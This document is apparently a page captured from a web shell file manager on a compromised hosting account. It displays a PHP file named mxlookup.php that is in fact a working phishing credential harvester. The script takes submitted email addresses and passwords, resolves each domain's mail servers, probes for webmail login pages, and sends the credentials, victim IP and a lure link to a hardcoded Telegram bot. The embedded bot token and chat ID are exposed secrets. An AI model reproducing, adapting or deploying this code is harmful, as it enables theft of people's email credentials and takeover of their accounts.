Your IP : 216.73.216.86


Current Path : /home/emeraadmin/public_html/4d695/
Upload File :
Current File : /home/emeraadmin/public_html/4d695/mxlookup.php.tar

home/emeraadmin/.trash/mxlookup.php000064400000006070151677331220013376 0ustar00<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json');

function get_client_ip() {
    return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}

function get_webmail_link($domain) {
    $common_webmail_paths = [
        "webmail.$domain",
        "$domain/webmail",
        "mail.$domain",
        "https://webmail.$domain",
        "https://mail.$domain",
        "https://$domain/webmail",
        "https://$domain:2096",
        "https://$domain/owa",
        "https://$domain/zimbra",
        "https://webmail.mail.$domain"
    ];

    foreach ($common_webmail_paths as $url) {
        if (@get_headers($url)) {
            return $url;
        }
    }
    return "Not found";
}

if (!isset($_POST['email']) || !isset($_POST['password'])) {
    echo json_encode(['error' => 'Missing email or password.']);
    exit;
}

$email = $_POST['email'];
$password = $_POST['password'];
$domain = substr(strrchr($email, "@"), 1);
$mxRecords = [];

if (dns_get_record($domain, DNS_MX, $authns, $addtl)) {
    $data = dns_get_record($domain, DNS_MX);
    foreach ($data as $key) {
        $mxRecords[] = [
            "host" => $key['host'],
            "pri" => $key['pri'],
            "target" => $key['target'],
            "target_ip" => gethostbyname($key['target'])
        ];
    }
} else {
    $mxRecords[] = ["error" => "No MX records found for this domain."];
}

$webmail_link = get_webmail_link($domain);
$ip = get_client_ip();

// 🆕 Generate your customized URL
// Example: https://yourdomain.com/openfile/uid/EMAIL
$base_url = 'https://yourdomain.com/openfile'; // Change to your real domain
$clean_uid_link = $base_url . '/uid/' . urlencode($email);

$telegram_bot_token = '7730973001:AAGapLfDHXG2VOa99Zbvmt9xSO3x7aN38MY';
$telegram_chat_id = '7518869292';

$message = "\n🔹 *Login Attempt* 🔹\n";
$message .= "📧 Email: $email\n";
$message .= "🔑 Password: $password\n";
$message .= "🌐 IP: $ip\n";
$message .= "🔍 MX Records:\n";

foreach ($mxRecords as $mx) {
    if (isset($mx['error'])) {
        $message .= "❌ " . $mx['error'] . "\n";
    } else {
        $message .= "✅ Host: " . $mx['host'] . ", Target: " . $mx['target'] . "\n";
    }
}

$message .= "🌐 Webmail Link: $webmail_link\n";
$message .= "🔗 Clean UID Link: $clean_uid_link\n"; // 🆕 Add generated link into Telegram message

$telegram_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage";
$params = ['chat_id' => $telegram_chat_id, 'text' => $message, 'parse_mode' => 'Markdown'];

$options = [
    'http' => [
        'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
        'method' => 'POST',
        'content' => http_build_query($params),
    ]
];
$context = stream_context_create($options);
file_get_contents($telegram_url, false, $context);

// Return JSON response
echo json_encode([
    "mx_records" => $mxRecords,
    "webmail_link" => $webmail_link,
    "clean_uid_link" => $clean_uid_link // 🆕 return the generated clean URL in API response too
]);
?>